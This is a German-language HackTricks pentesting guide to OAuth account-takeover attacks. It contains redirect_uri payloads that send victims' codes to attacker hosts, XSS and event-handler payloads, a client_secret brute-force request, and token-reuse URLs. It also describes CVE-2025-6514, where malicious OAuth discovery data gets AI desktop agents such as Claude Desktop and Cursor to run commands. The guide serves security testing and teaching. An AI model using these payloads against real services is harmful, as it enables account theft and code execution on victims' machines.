OAuth to Account takeover

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Grundlegende Informationen

OAuth bietet verschiedene Versionen; grundlegende Informationen finden sich unter OAuth 2.0 documentation. Diese Diskussion konzentriert sich hauptsächlich auf den weit verbreiteten OAuth 2.0 authorization code grant type, der ein Autorisierungsframework bereitstellt, das einer Anwendung ermöglicht, auf das Konto eines Benutzers in einer anderen Anwendung zuzugreifen oder Aktionen im Namen des Benutzers durchzuführen (dem authorization server).

Betrachten Sie eine hypothetische Website https://example.com, die dazu dient, alle Ihre Social-Media-Beiträge anzuzeigen, einschließlich privater. Um dies zu erreichen, wird OAuth 2.0 eingesetzt. https://example.com wird Sie um die Erlaubnis bitten, auf Ihre Social-Media-Beiträge zuzugreifen. Folglich wird auf https://socialmedia.com ein Zustimmungsbildschirm erscheinen, der die angeforderten Berechtigungen und den anfragenden Entwickler aufführt. Nach Ihrer Autorisierung erhält https://example.com die Möglichkeit, in Ihrem Namen auf Ihre Beiträge zuzugreifen.

Es ist wichtig, die folgenden Komponenten im OAuth 2.0 Framework zu verstehen:

  • resource owner: Sie, als Benutzer/Entität, erteilen die Erlaubnis zum Zugriff auf Ihre Ressourcen, z. B. die Beiträge Ihres Social-Media-Kontos.
  • resource server: Der Server, der authentifizierte Anfragen verwaltet, nachdem die Anwendung im Namen des resource owner ein access token erhalten hat, z. B. https://socialmedia.com.
  • client application: Die Anwendung, die Autorisierung vom resource owner anfragt, z. B. https://example.com.
  • authorization server: Der Server, der access tokens an die client application ausgibt, nachdem der resource owner erfolgreich authentifiziert wurde und die Autorisierung erteilt wurde, z. B. https://socialmedia.com.
  • client_id: Ein öffentlicher, eindeutiger Bezeichner für die Anwendung.
  • client_secret: Ein geheimer Schlüssel, der nur der Anwendung und dem authorization server bekannt ist und zur Erzeugung von access_tokens verwendet wird.
  • response_type: Ein Wert, der den angeforderten Token-Typ angibt, z. B. code.
  • scope: Der Zugriffsumfang, den die client application vom resource owner anfordert.
  • redirect_uri: Die URL, auf die der Benutzer nach der Autorisierung weitergeleitet wird. Diese muss in der Regel mit der zuvor registrierten Redirect-URL übereinstimmen.
  • state: Ein Parameter, um Daten während der Weiterleitung des Benutzers zum und vom authorization server aufrechtzuerhalten. Seine Einzigartigkeit ist entscheidend, da er als CSRF-Schutzmechanismus dient.
  • grant_type: Ein Parameter, der den Grant-Typ und den zurückzugebenden Token-Typ angibt.
  • code: Der Autorisierungscode vom authorization server, der zusammen mit client_id und client_secret von der client application verwendet wird, um ein access_token zu erhalten.
  • access_token: Das Token, das die client application für API-Anfragen im Namen des resource owner verwendet.
  • refresh_token: Ermöglicht der Anwendung, ein neues access_token zu erhalten, ohne den Benutzer erneut zu fragen.

Ablauf

Der eigentliche OAuth-Flow läuft wie folgt ab:

  1. Sie navigieren zu https://example.com und wählen den Button „Mit Social Media integrieren“.
  2. Die Seite sendet dann eine Anfrage an https://socialmedia.com, in der sie um Ihre Autorisierung bittet, damit die Anwendung von https://example.com auf Ihre Beiträge zugreifen darf. Die Anfrage ist wie folgt aufgebaut:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Ihnen wird dann eine Zustimmungsseite angezeigt.
  2. Nach Ihrer Zustimmung sendet Social Media eine Antwort an die redirect_uri mit den Parametern code und state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com verwendet diesen code zusammen mit seiner client_id und client_secret, um eine serverseitige Anfrage zu stellen, mit der es in Ihrem Auftrag ein access_token erhält und so Zugriff auf die Berechtigungen ermöglicht, denen Sie zugestimmt haben:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Schließlich schließt sich der Prozess, wenn https://example.com dein access_token verwendet, um einen API-Aufruf an Social Media zu machen, um auf

Vulnerabilities

Open redirect_uri

Per RFC 6749 §3.1.2, muss der authorization server den Browser nur zu pre-registered, exact redirect URIs weiterleiten. Jede Schwäche hier erlaubt es einem Angreifer, ein Opfer über eine bösartige Authorization-URL zu schicken, sodass der IdP den code (und state) des Opfers direkt an einen Angreifer-Endpunkt liefert, der ihn dann einlösen und Tokens ernten kann.

Typischer Angriffsablauf:

  1. Erstelle https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback und sende ihn an das Opfer.
  2. Das Opfer authentifiziert sich und genehmigt die Scopes.
  3. Der IdP leitet zu attacker.tld/callback?code=<victim-code>&state=... weiter, wo der Angreifer die Anfrage protokolliert und den Code sofort austauscht.

Häufige Validierungsfehler, die man prüfen sollte:

  • No validation – jede absolute URL wird akzeptiert, was zu sofortigem code-Diebstahl führt.
  • Weak substring/regex checks on the host – Umgehung mit Lookalikes wie evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com oder match.com@evil.com.
  • IDN homograph mismatches – die Validierung erfolgt auf der punycode-Form (xn--), aber der Browser leitet zur Unicode-Domain weiter, die vom Angreifer kontrolliert wird.
  • Arbitrary paths on an allowed host – das Setzen von redirect_uri auf /openredirect?next=https://attacker.tld oder auf irgendeinen XSS-/User-Content-Endpunkt leakt den code entweder durch verkettete Redirects, Referer-Header oder injizierbares JavaScript.
  • Directory constraints without normalization – Muster wie /oauth/* lassen sich mit /oauth/../anything umgehen.
  • Wildcard subdomains – die Annahme von *.example.com bedeutet, dass jede Übernahme (dangling DNS, S3 bucket, etc.) sofort einen gültigen Callback liefert.
  • Non-HTTPS callbacks – das Zulassen von http://-URIs gibt Netzwerkangreifern (Wi‑Fi, Unternehmensproxy) die Möglichkeit, den Code unterwegs abzufangen.

Prüfe außerdem Hilfs-Redirect-Parameter (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) und das OpenID-Discovery-Dokument (/.well-known/openid-configuration) auf zusätzliche Endpunkte, die dieselben Validierungsfehler erben könnten.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Das Einschränken von redirect_uri auf „owned/first-party domains“ hilft nicht, wenn irgendeine allowlisted Domain attacker-controlled paths or execution contexts (legacy app platforms, user namespaces, CMS uploads, etc.) bereitstellt. Wenn der OAuth/federated Login-Flow tokens in the URL zurückgibt (Query oder Hash), kann ein Angreifer:

  1. Einen legitimen Flow starten, um ein Pre-Token zu erzeugen (z. B. ein etoken in einem mehrstufigen Accounts Center/FXAuth-Flow).
  2. Dem Opfer eine Authorization-URL senden, die die allowlisted Domain als redirect_uri/base_uri setzt, aber next/Pfad in einen angreifer-kontrollierten Namespace zeigt (z. B. https://apps.facebook.com/<attacker_app>).
  3. Nachdem das Opfer genehmigt hat, leitet der IdP zur angreifer-kontrollierten Route mit sensiblen Werten in der URL weiter (token, blob, Codes, etc.).
  4. JavaScript auf dieser Seite liest window.location und exfiltriert die Werte, trotz der als „trusted“ geltenden Domain.
  5. Die abgefangenen Werte gegen nachgelagerte privilegierte Endpunkte wiederverwenden, die nur die redirect‑getragenen Tokens erwarten. Beispiele aus dem FXAuth-Flow:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS in redirect-Implementierung

Wie in diesem bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html erwähnt, könnte es möglich sein, dass die redirect URL in der response des Servers nach der Authentifizierung des Users reflektiert wird und damit für XSS anfällig ist. Möglicher Payload zum Testen:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

OAuth callback error pages: reflected error_description, trusted-origin phishing, and encoded state leakage

Einige OAuth-Integrationen verwenden eine First-Party-Callback-Seite, um Login-Fehler darzustellen, nachdem der IdP den Browser zurückgeleitet hat. Diese Seiten sind besonders wertvoll, weil sie bereits auf einer vertrauenswürdigen Origin laufen und häufig vom Angreifer kontrollierte Parameter wie error, error_description, message, description oder state verarbeiten.

  • Das Reflektieren von error_description in HTML ohne strikte Ausgabekodierung verwandelt die Callback-Seite in eine trusted-origin phishing page. Selbst wenn <script> gefiltert wird, kann HTML-Injektion immer noch die gesamte Fehlerseite fälschen und das Opfer anweisen, vom Angreifer gewünschte Aktionen auszuführen.
  • WAFs richten sich oft auf gängige Handler wie onload/onerror. Wenn normale payloads blockiert werden, probiere browserspezifische oder ungewöhnliche Events, die Verteidiger möglicherweise nicht auf Blacklists haben. Ein praktisches Beispiel ist Safaris onpagereveal, das ausgeführt werden kann, wenn die bösartige Callback-Seite in Safari angezeigt wird:
<body onpagereveal=open("https://attacker.example")>
This step can only be completed in Safari
  • Test self-referential payloads: wenn das injizierte HTML/JS dieselbe Callback-URL erneut öffnen oder neu laden kann, kann das zu client-side resource exhaustion, wiederholten Popups/Tabs oder log flooding bei jedem Render führen.
  • Always decode opaque-looking state values`. Viele Implementierungen Base64-encodieren JSON oder Benutzer-Metadaten und nehmen an, das sei “hidden”. Base64 ist reversibel, weshalb Callback-URLs PII leak können, z. B. E-Mail-Adressen, tenant identifiers, return paths oder interner Workflow-State.
  • Treat URL exposure as part of the bug: alles, was in die Callback-URL geschrieben wird, kann später in der Browser-History, in Reverse-Proxies, Load Balancern, App-Logs, Monitoring-Tools, Screenshots und in Referer-Headern erscheinen, wenn die Seite Drittressourcen lädt.

Schnelle Checks während des Tests:

  1. Trigger sowohl erfolgreiche als auch fehlgeschlagene OAuth-Callbacks und erfasse die vollständige URL sowie das gerenderte HTML.
  2. Replay den Callback und verändere dabei error_description, message und ähnliche Error-Felder mit Plaintext, HTML und event-handler payloads.
  3. Decode state als Base64/URL-safe Base64 und prüfe es auf PII oder Anwendungszustand, der serverseitig hätte bleiben sollen.
  4. Wiederhole browser-spezifische payloads in Safari/WebKit, wenn der WAF Standard-inline-event XSS-Probes blockiert.

CSRF - Improper handling of state parameter

Der state-Parameter ist der Authorization Code Flow CSRF-Token: der Client muss pro Browser-Instanz einen kryptographisch zufälligen Wert erzeugen, ihn an einem Ort persistieren, den nur dieser Browser lesen kann (Cookie, local storage, etc.), ihn in die Authorization-Request senden und jede Antwort ablehnen, die nicht denselben Wert zurückgibt. Wann immer der Wert statisch, vorhersehbar, optional oder nicht an die Session des Benutzers gebunden ist, kann ein Angreifer seinen eigenen OAuth-Flow abschließen, den finalen ?code=-Request abfangen (ohne ihn zu senden) und später einen Opfer-Browser dazu zwingen, diesen Request zu replayen, sodass das Opfer-Konto mit dem Identity-Provider-Profil des Angreifers verknüpft wird.

Das Replay-Muster ist immer gleich:

  1. Der Angreifer authenticates gegen den IdP mit seinem Account und intercepts den letzten Redirect, der code (und ggf. state) enthält.
  2. Er droppt diesen Request, behält die URL und missbraucht später ein beliebiges CSRF-Primitive (Link, iframe, auto-submitting form), um den Opfer-Browser zum Laden zu zwingen.
  3. Wenn der Client state nicht erzwingt, konsumiert die Applikation das Authorization-Result des Angreifers und loggt den Angreifer in das App-Konto des Opfers ein.

Eine praktische Checklist für das Handling von state während Tests:

  • Missing state entirely – wenn der Parameter nie auftaucht, ist das komplette Login CSRFable.
  • state not required – entferne ihn aus der Initial-Request; wenn der IdP trotzdem Codes ausstellt, die der Client akzeptiert, ist die Verteidigung opt-in.
  • Returned state not validated – manipuliere den Wert in der Response (Burp, MITM proxy). Das Akzeptieren von nicht übereinstimmenden Werten bedeutet, dass der gespeicherte Token nie verglichen wird.
  • Predictable or purely data-driven state – viele Apps packen Redirect-Pfade oder JSON-Blobs in state, ohne ausreichend Zufälligkeit, sodass Angreifer gültige Werte erraten und Flows replayen können. Füge immer starke Entropie vor dem Kodieren hinzu oder danach.
  • state fixation – wenn die App Nutzern erlaubt, den state-Wert selbst zu setzen (z. B. über manipulierte Authorization-URLs) und ihn während des Flows wiederverwendet, kann ein Angreifer einen bekannten Wert fixieren und über mehrere Opfer hinweg wiederbenutzen.

PKCE kann state ergänzen (insbesondere für public clients), indem es den Authorization-Code an einen code verifier bindet, aber Web-Clients müssen state weiterhin verfolgen, um cross-user CSRF/account-linking Bugs zu verhindern.

Pre Account Takeover

  1. Without Email Verification on Account Creation: Angreifer können proaktiv ein Konto mit der E-Mail des Opfers erstellen. Wenn das Opfer später einen Drittanbieter zum Login nutzt, könnte die Anwendung dieses Drittanbieter-Konto fälschlicherweise mit dem vom Angreifer vorerstellten Konto verknüpfen, was zu unautorisiertem Zugriff führt.
  2. Exploiting Lax OAuth Email Verification: Angreifer können OAuth-Dienste ausnutzen, die E-Mails nicht verifizieren, indem sie sich registrieren und dann die Account-E-Mail auf die des Opfers ändern. Diese Methode führt ähnlich zu unautorisiertem Zugriff wie das erste Szenario, jedoch über einen anderen Angriffsvektor.

Disclosure of Secrets

Der client_id ist bewusst öffentlich, aber das client_secret darf niemals für Endnutzer recoverable sein. Authorization Code-Deployments, die das Secret in mobile APKs, desktop clients oder single-page apps einbetten, übergeben diese Zugangsdaten effektiv an jeden, der das Paket herunterladen kann. Prüfe public clients immer, indem du:

  • das APK/IPA, den Desktop-Installer oder die Electron-App unpackst und nach client_secret, Base64-Blobs, die zu JSON decodieren, oder hard-coded OAuth-Endpunkten greppst.
  • gebündelte Config-Dateien (plist, JSON, XML) oder dekompilierte Strings auf Client-Credentials überprüfst.

Sobald ein Angreifer das Secret extrahiert hat, muss er nur noch irgendeinen Victim-Authorization-code (via einem schwachen redirect_uri, Logs, etc.) stehlen, um unabhängig /token anzusprechen und access/refresh tokens zu minten, ohne die legitime App einzubinden. Behandle public/native Clients als nicht in der Lage, Secrets zu halten — sie sollten stattdessen PKCE (RFC 7636) verwenden, um per-Instanz code verifier-Besitz nachzuweisen statt eines statischen Secrets. Während des Tests bestätige, ob PKCE mandatory ist und ob das Backend tatsächlich Token-Exchanges ablehnt, die weder client_secret noch einen validen code_verifier enthalten.

Client Secret Bruteforce

Du kannst versuchen, das client_secret eines Service-Providers gegen den Identity Provider zu bruteforcen, um Accounts zu stehlen.
Die Request für das BF könnte ähnlich aussehen:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Sobald der Client den code and state hat, und diese in location.href oder document.referrer auftauchen und an Dritte weitergeleitet werden, leaken sie. Zwei wiederkehrende Muster:

  • Classic Referer leak: Nach dem OAuth-Redirect wird jede Navigation, die ?code=&state= in der URL behält, diese in den Referer-Header drücken, der an CDNs/analytics/ads gesendet wird.
  • Telemetry/analytics confused deputy: Manche SDKs (Pixels/JS-Logger) reagieren auf postMessage-Events und send the current location.href/referrer to backend APIs using a token supplied in the message. Wenn du deinen eigenen Token in diesen Flow injizieren kannst (z. B. via einen attacker-controlled postMessage-Relay), kannst du später die API-Anfrage-History/Logs des SDKs auslesen und die OAuth-Artefakte des Opfers, die in diesen Requests eingebettet sind, wiederherstellen.

Access Token Stored in Browser History

Die zentrale Garantie des Authorization Code grant ist, dass access tokens niemals im Browser des Resource Owners landen. Wenn Implementierungen Tokens clientseitig leaken, wird jeder kleine Bug (XSS, Referer leak, Proxy-Logging) sofort zur Account-Übernahme. Prüfe immer auf:

  • Tokens in URLs – wenn access_token in Query/Fragment erscheint, landet er im Browser-Verlauf, Server-Logs, Analytics und in Referer-Headern, die an Dritte gesendet werden.
  • Tokens, die untrusted middleboxes passieren – Tokens über HTTP oder durch Debugging-/Corporate-Proxies zurückzugeben erlaubt Netzwerkbeobachtern, sie direkt abzufangen.
  • Tokens in JavaScript-State gespeichert – React/Vue-Stores, globale Variablen oder serialisierte JSON-Blobs exponieren Tokens für jedes Script auf der Origin (inkl. XSS-Payloads oder bösartigen Extensions).
  • Tokens in Web Storage persistiert – localStorage/sessionStorage behalten Tokens lange nach Logout auf geteilten Geräten und sind für Scripts zugreifbar.

Jeder dieser Befunde hebt normalerweise sonst “niedrige” Bugs (wie einen CSP-Bypass oder DOM XSS) zu einer vollständigen API-Übernahme, weil ein Angreifer den geleakten Bearer-Token einfach auslesen und replayen kann.

Everlasting Authorization Code

Authorization codes müssen kurzlebig, einmalig und replay-aware sein. Beim Assessen eines Flows capture einen code und:

  • Lebensdauer testen – RFC 6749 empfiehlt Minuten, nicht Stunden. Versuche, den Code nach 5–10 Minuten einzulösen; wenn er noch funktioniert, ist das Exposure-Fenster für jeden geleakten Code zu groß.
  • Sequential reuse testen – sende denselben code zweimal. Wenn die zweite Anfrage wieder ein Token liefert, können Angreifer Sessions unbegrenzt klonen.
  • Concurrent redemption / Race-Conditions testen – feuere zwei Token-Requests parallel ab (Burp intruder, turbo intruder). Schwache Issuer gewähren manchmal beide.
  • Replay-Handling beobachten – ein Wiederverwendungsversuch sollte nicht nur fehlschlagen, sondern auch alle bereits aus diesem Code ausgestellten Tokens widerrufen. Ansonsten bleibt bei erkanntem Replay das erste Token des Angreifers aktiv.

Die Kombination eines replay-freundlichen Codes mit irgendeinem redirect_uri- oder Logging-Bug erlaubt persistenten Account-Zugriff, selbst nachdem das Opfer den legitimen Login abgeschlossen hat.

Authorization/Refresh Token not bound to client

Wenn du den authorization code bekommst und ihn für einen anderen client/app einlöst, kannst du andere Accounts takeovern. Teste schwache Bindung durch:

  • Capture eines code für app A und Senden an app B’s token endpoint; wenn du trotzdem ein Token erhältst, ist Audience-Binding gebrochen.
  • Versuch von first-party token minting Endpoints, die eigentlich auf ihre eigenen client IDs beschränkt sein sollten; wenn sie beliebige state/app_id akzeptieren und nur den Code validieren, führst du effektiv einen authorization-code swap durch, um höher privilegierte first-party Tokens zu minten.
  • Prüfen, ob Client-Binding nonce/redirect URI-Mismatches ignoriert. Wenn eine Error-Page trotzdem SDKs lädt, die location.href loggen, kombiniere das mit Referer/telemetry leaks, um Codes zu stehlen und anderswo einzulösen.

Jeder Endpoint, der code → token tauscht, must den ausstellenden Client, die redirect URI und nonce verifizieren; andernfalls kann ein gestohlener Code von jeder App zu einem first-party access token upgraded werden.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In diesem Bug-Bounty-Report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ siehst du, dass das token, das AWS Cognito an den Benutzer zurückgibt, möglicherweise genügend Berechtigungen hat, um die User-Daten zu überschreiben. Daher, wenn du die user email for a different user email ändern kannst, könntest du möglicherweise andere Accounts takeovern.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Für detailliertere Infos darüber, wie man AWS Cognito missbraucht, siehe AWS Cognito - Unauthenticated Enum Access.

Missbrauch von Tokens anderer Apps

Wie in mentioned in this writeup beschrieben, können OAuth-Flows, die ein token (und keinen Code) erwarten, verwundbar sein, wenn sie nicht prüfen, ob das token zur App gehört.

Dies liegt daran, dass ein attacker eine application supporting OAuth and login with Facebook (zum Beispiel) in seiner eigenen Anwendung erstellen könnte. Sobald ein Opfer sich dann mit Facebook in der attackers application einloggt, könnte der attacker das OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token erhalten.

Caution

Daher: Wenn der attacker es schafft, den Nutzer dazu zu bringen, seine eigene OAuth-Anwendung zu nutzen, kann er das Konto des Opfers in Anwendungen übernehmen, die ein token erwarten und nicht prüfen, ob das token ihrer app ID gewährt wurde.

Zwei Links & Cookie

Laut this writeup war es möglich, ein Opfer dazu zu bringen, eine Seite mit einer returnUrl auf den Host des attackers zu öffnen. Diese Info würde in einem Cookie (RU) gespeichert und in einem späteren Schritt würde der prompt den user fragen, ob er diesem Host Zugriff gewähren möchte.

Um diesen prompt zu umgehen, war es möglich, einen Tab zu öffnen, um den Oauth flow zu starten, der dieses RU-Cookie mittels der returnUrl setzen würde, den Tab zu schließen bevor der prompt angezeigt wird, und einen neuen Tab ohne diesen Wert zu öffnen. Dann informiert der prompt nicht über den Host des attackers, aber das Cookie wäre auf diesen gesetzt, sodass das token bei der Weiterleitung an den attackers host gesendet wird.

Prompt Interaction Bypass

Wie in this video erklärt, erlauben einige OAuth-Implementierungen, den GET-Parameter prompt auf None (&prompt=none) zu setzen, um zu verhindern, dass Benutzer im Web zur Bestätigung der gewährten Zugriffsrechte aufgefordert werden, falls sie bereits in der Plattform eingeloggt sind.

response_mode

Wie in this video erklärt, kann es möglich sein, den Parameter response_mode anzugeben, um zu bestimmen, wo der Code in der finalen URL bereitgestellt werden soll:

  • response_mode=query -> Der Code wird in einem GET-Parameter bereitgestellt: ?code=2397rf3gu93f
  • response_mode=fragment -> Der Code wird im URL-Fragment bereitgestellt: #code=2397rf3gu93f
  • response_mode=form_post -> Der Code wird in einem POST-Formular übergeben, mit einem input namens code und dem Wert
  • response_mode=web_message -> Der Code wird in einer postMessage gesendet: window.opener.postMessage({"code": "asdasdasd...

OAuth consent/login dialogs sind ideale Clickjacking-Ziele: Wenn sie in einem Frame geladen werden können, kann ein attacker eigene Grafiken überlagern, die echten Buttons verbergen und Benutzer dazu bringen, gefährliche scopes zu genehmigen oder Konten zu verknüpfen. Erstelle PoCs, die:

  1. Die IdP authorization URL in ein <iframe sandbox="allow-forms allow-scripts allow-same-origin"> laden.
  2. Absolute positioning/opacity-Tricks verwenden, um gefälschte Buttons mit den versteckten Allow/Approve-Controls auszurichten.
  3. Optional Parameter (scopes, redirect URI) vorausfüllen, damit die gestohlene Zustimmung dem attacker sofort zugutekommt.

Während des Tests verifiziere, dass IdP-Seiten entweder X-Frame-Options: DENY/SAMEORIGIN oder eine restriktive Content-Security-Policy: frame-ancestors 'none' senden. Ist keines von beiden vorhanden, demonstriere das Risiko mit Werkzeugen wie NCC Group’s clickjacking PoC generator und dokumentiere, wie einfach ein Opfer die App des attackers autorisiert. Für weitere Payload-Ideen siehe Clickjacking.

OAuth ROPC flow - 2 FA bypass

Laut this blog post ist dies ein OAuth-Flow, der das Einloggen in OAuth via username und password erlaubt. Wenn während dieses einfachen Flows ein token zurückgegeben wird, das Zugriff auf alle Aktionen des Nutzers gewährt, ist es möglich, die 2FA mit diesem token zu umgehen.

ATO on web page redirecting based on open redirect to referrer

Dieser blogpost beschreibt, wie ein open redirect basierend auf dem referrer missbraucht werden konnte, um OAuth in ein ATO zu verwandeln. Der Angriff war:

  1. Das Opfer besucht die Webseite des attackers
  2. Das Opfer öffnet den bösartigen Link und ein opener startet den Google OAuth-Flow mit response_type=id_token,code&prompt=none als zusätzliche Parameter und verwendet als referrer the attackers website.
  3. Im opener, nachdem der Provider das Opfer autorisiert hat, sendet er es mit einem 30X-Statuscode zurück an den Wert des redirect_uri-Parameters (die Website des Opfers), wobei der referer weiterhin die Website des attackers enthält.
  4. Die Webseite des Opfers löst das open redirect basierend auf dem referrer aus und leitet den Nutzer zur Webseite des attackers weiter. Da der response_type id_token,code war, wird der Code im Fragment der URL an den attacker zurückgeschickt, was ihm erlaubt, das Konto des Nutzers via Google auf der Website des Opfers zu übernehmen.

SSRFs parameters

Check this research For further details of this technique.

Dynamic Client Registration in OAuth ist ein weniger offensichtlicher, aber kritischer Vektor für Sicherheitslücken, speziell für Server-Side Request Forgery (SSRF)-Angriffe. Dieser Endpoint erlaubt OAuth-Servern, Details über Client-Anwendungen zu erhalten, einschließlich sensibler URLs, die ausgenutzt werden könnten.

Wichtige Punkte:

  • Dynamic Client Registration ist oft unter /register erreichbar und akzeptiert Details wie client_name, client_secret, redirect_uris und URLs für Logos oder JSON Web Key Sets (JWKs) via POST-Requests.
  • Dieses Feature folgt den Spezifikationen in RFC7591 und OpenID Connect Registration 1.0, die Parameter enthalten, die potentiell für SSRF anfällig sind.
  • Der Registrierungsprozess kann Server unbeabsichtigt auf verschiedene Weise für SSRF öffnen:
  • logo_uri: Eine URL zum Logo der Client-Anwendung, die vom Server abgerufen werden könnte, wodurch SSRF ausgelöst oder XSS entstehen kann, wenn die URL falsch gehandhabt wird.
  • jwks_uri: Eine URL zum JWK-Dokument des Clients, die, wenn sie bösartig gestaltet ist, den Server dazu bringen kann, ausgehende Requests an einen vom Angreifer kontrollierten Server zu machen.
  • sector_identifier_uri: Verweist auf ein JSON-Array von redirect_uris, das der Server abrufen könnte und so eine SSRF-Gelegenheit schafft.
  • request_uris: Listet erlaubte request URIs des Clients auf, die ausgenutzt werden können, falls der Server diese URIs am Anfang des Autorisierungsprozesses abruft.

Ausnutzungsstrategie:

  • SSRF kann ausgelöst werden, indem ein neuer Client mit bösartigen URLs in Parametern wie logo_uri, jwks_uri oder sector_identifier_uri registriert wird.
  • Während direkte Ausnutzung über request_uris durch Whitelists eingeschränkt sein kann, kann das Bereitstellen einer vorregistrierten, vom Angreifer kontrollierten request_uri SSRF während der Autorisierungsphase erleichtern.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

Untersuchungen zu CVE-2025-6514 (betroffen sind mcp-remote Clients wie Claude Desktop, Cursor oder Windsurf) zeigen, wie dynamische OAuth-Discovery zu einer RCE-Primitive wird, sobald der Client IdP-Metadaten direkt an das Betriebssystem weiterleitet. Der entfernte MCP-Server liefert während des Discovery-Austauschs (/.well-known/openid-configuration oder beliebiges Metadata-RPC) ein vom Angreifer kontrolliertes authorization_endpoint. mcp-remote ≤0.1.15 rief dann den systemeigenen URL-Handler (start, open, xdg-open, etc.) mit dem empfangenen String auf, sodass jedes vom OS unterstützte Scheme/Path lokal ausgeführt wurde.

Angriffsablauf

  1. Richte den Desktop-Agenten auf einen feindlichen MCP/OAuth-Server (npx mcp-remote https://evil). Der Agent erhält 401 plus Metadaten.
  2. Der Server antwortet mit JSON wie:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Der Client startet den OS-Handler für die übergebene URI. Windows akzeptiert Nutzdaten wie file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux akzeptieren file:///Applications/Calculator.app/... oder sogar benutzerdefinierte Schemes wie cmd://bash -lc '<payload>', falls registriert.
  2. Da dies vor jeglicher Benutzerinteraktion geschieht, führt allein das Konfigurieren des Clients, mit dem Angreifer-Server zu sprechen, zur Codeausführung.

Wie testen

  • Ziel ist jeder OAuth-fähige Desktop/Agent, der Discovery über HTTP(S) durchführt und zurückgegebene Endpunkte lokal öffnet (Electron apps, CLI helpers, thick clients).
  • Intercepten oder hosten Sie die Discovery-Antwort und ersetzen Sie authorization_endpoint, device_authorization_endpoint oder ähnliche Felder durch file://, cmd://, UNC-Pfade oder andere gefährliche Schemes.
  • Beobachten Sie, ob der Client Scheme/Host validiert. Fehlt diese Validierung, führt das zu sofortiger Ausführung im Benutzerkontext und beweist das Problem.
  • Wiederholen Sie den Test mit verschiedenen Schemes, um die gesamte Angriffsfläche zu kartieren (z. B. ms-excel:, data:text/html,, custom protocol handlers) und die plattformübergreifende Reichweite zu demonstrieren.

OAuth providers Race Conditions

Wenn die Plattform, die Sie testen, ein OAuth provider ist read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth identifiziert das sub field einen Benutzer eindeutig, aber sein Format variiert je nach Authorization Server. Um die Benutzeridentifikation zu standardisieren, verwenden einige Clients E-Mails oder Benutzerhandles. Das ist jedoch riskant, weil:

  • Manche Authorization Server stellen nicht sicher, dass diese Eigenschaften (wie E-Mail) unveränderlich bleiben.
  • In bestimmten Implementierungen — wie “Login with Microsoft” — verlässt sich der Client auf das email-Feld, das in Entra ID vom Nutzer kontrolliert wird und nicht verifiziert ist.
  • Ein Angreifer kann dies ausnutzen, indem er eine eigene Azure AD-Organisation erstellt (z. B. doyensectestorg) und sie für ein Microsoft-Login verwendet.
  • Obwohl die Object ID (im sub gespeichert) unveränderlich und sicher ist, kann die Abhängigkeit von einem veränderlichen email-Feld eine Kontoübernahme ermöglichen (z. B. das Hijacken eines Kontos wie victim@gmail.com).

Client Confusion Attack

Bei einer Client Confusion Attack versäumt eine Anwendung, die den OAuth Implicit Flow verwendet, zu überprüfen, dass das endgültige access token speziell für ihre eigene Client ID erzeugt wurde. Ein Angreifer richtet eine öffentliche Website ein, die Googles OAuth Implicit Flow nutzt, bringt Tausende von Nutzern dazu, sich bei der Angreifer-Seite anzumelden, und sammelt so access tokens, die für die Angreifer-Seite bestimmt sind. Haben diese Nutzer außerdem Konten auf einer anderen verwundbaren Website, die das Token-Client-ID-Feld nicht validiert, kann der Angreifer die gesammelten Tokens wiederverwenden, um die Opfer zu impersonieren und ihre Konten zu übernehmen.

Scope Upgrade Attack

